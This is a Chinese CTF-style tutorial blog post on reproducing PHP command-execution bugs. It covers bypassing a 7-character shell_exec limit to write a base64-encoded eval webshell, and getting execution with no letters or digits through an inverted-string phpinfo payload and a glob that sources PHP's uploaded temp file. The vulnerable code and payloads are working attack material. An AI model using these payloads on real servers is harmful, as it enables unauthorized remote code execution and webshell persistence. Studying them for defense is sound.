有意思的漏洞复现与分析一

目录

一、Linux命令长度限制突破方法

[1.在二进制漏洞利用中,某师傅遇到可控数据只有8字节的情况,去掉字符 串尾的\0,限制在7个字符。](#1.在二进制漏洞利用中,某师傅遇到可控数据只有8字节的情况,去掉字符 串尾的\0,限制在7个字符。)


一、Linux命令长度限制突破方法

1.在二进制漏洞利用中,某师傅遇到可控数据只有8字节的情况,去掉字符 串尾的\0,限制在7个字符。

复制代码
<?php
$param = $_REQUEST['param'];  
if ( strlen($param) < 8 ) 
{  
    echo shell_exec($param);
}

这个的难点就是该怎么把执行语句缩短到7个字符,很显然这个思路是行不通的,然后我们看到echo shell_exec($param);这个语句去看一下php官方文档对shell_exec这个函数的使用方法。

了解该函数的使用方法,再结合Linux系统下的一些特性。

1.w 长度最短的命令

2.ls -t 以创建时间来列出当前目录下所有文件

3.文件列表以[换行符]分割每个文件 引入 `\` 转义ls时的换行

1.换行不影响命令执行 成功构造任意命令执行,写入Webshell

前辈就想到了在Linux下可以使用w>+字符串在w下创建文件,但是在后续学习其实可以直接>+字符串。

直接执行一句话木马,再通过ants work连接

复制代码
<?php eval($_POST[9]);

再通过上文了解到shell_exec的用法 输出以字符串的形式,所以是不是需要想通过base64编码再通过解码输出呢,通过工具。

那就开始写入吧"echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==| base64 -d> c.php"总结这一句就是我们所需要的执行语句。

可以看到我们写入成功,再一次写入,最后写入ls -t>0,sh 0(通过查看资料)

很明显生成了c.php文件,文件内容如下,接下来我们使用蚁🗡连接

访问c.php回显正常。

蚁🗡连接成功,原方法使用$_GET传参连不上,改用POST就可以连接上。但是查看官方文档REQUEST两者都可以传参,我现在还不清楚什么原因。

二 、无字母数字webshell之命令执行

这个代码如果要getshell,怎样利用?
当然,这道题的限制:
webshell长度不超过35位
除了不包含字母数字,还不能包含$_
难点呼之欲出了,我前面文章中给出的所有方法,都用到了PHP中的变量,需要对变量进行变形、异或、取反等操作,最后动态执行函数。但现在,因为$不能使用了,所以我们无法构造PHP中的变量。
复制代码
<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

PHP7 下简单解决问题

查看官方文档

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示):

复制代码
(~%8F%97%8F%96%91%99%90)();

基于现在的系统PHP5也需要思考:

通过测试php5没有这个用法,操作系统里包含的最重要的两个功能就是"shell(系统命令)"和"文件系统",很多木马与远控其实也只实现了这两个功能。 PHP自然也能够和操作系统进行交互,"反引号"就是PHP中最简单的执行shell的方法,想到就是用''+shell执行命令。

因为反引号不属于"字母"、"数字",所以我们可以执行系统命令,但问题来了:如何利用无字母、数字、$的系统命令来getshell?

好像问题又回到了原点:无字母、数字、$,在shell中仍然是一个难题。

此时我想到了两个有趣的Linux shell知识点:

  1. shell下可以利用.来执行任意脚本

  2. Linux文件名支持用glob通配符代替

第一点.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

第二个难题接踵而至,执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

*可以代替0个及以上任意字符

?可以代表1个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

但我们尝试执行. /???/?????????,但是实际上我们会匹配到多个所以执行不了。所以就要了解glob通配符;

描述

glob是shell使用的路径匹配符,类似于正则表达式,但是与正则表达式不完全相同。在linux操作中如文件匹配等等其实已经使用了glob通配符。由于其在路径匹配方面的强大,其他语言也有相应的实现。我在使用基于node的gulp时遇到glob匹配文件路径,于是顺便整理一下glob的基础语法和使用。

glob通配符

语法和使用

*:匹配一个路径部分中0个或多个字符,注意不匹配以.开始的路径,如文件.a。

?:匹配一个字符。

...\]:匹配一系列字符,如\[abc\]匹配字符a, b, c,在\[\^...\]和\[!...\]表示匹配不在列表中的字符,如**\[\^abc\]匹配除了a, b, c以外的字符。--我们就要使用这个来减少达到精准匹配** \*\*:匹配0个或多个子文件夹。 {a,b}:匹配a或则b,a和b也是通配符,可以由其他通配符组成。 !:排除文件,如!a.js表示排除文件a.js。 更多相关语法可参考node-glob。 所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示"大写字母"的glob通配符,就能精准找到我们要执行的文件。 翻开ascii码表,可见大写字母位于`@`与`[`之间,那么,我们可以利用`[@-[]`来表示大写字母。 当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了,最后一个字符也可能是数字。 最后,我传入的code为?>,发送数据包如下: ![](https://i-blog.csdnimg.cn/direct/dd786051ee844904819fe8a9ca6b751d.png) 上传命令执行的文件,就可以执行命令了。

相关推荐
用户962377954483 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主4 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954486 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机6 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机6 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954486 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star6 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954486 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher8 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行11 天前
网络安全总结
安全·web安全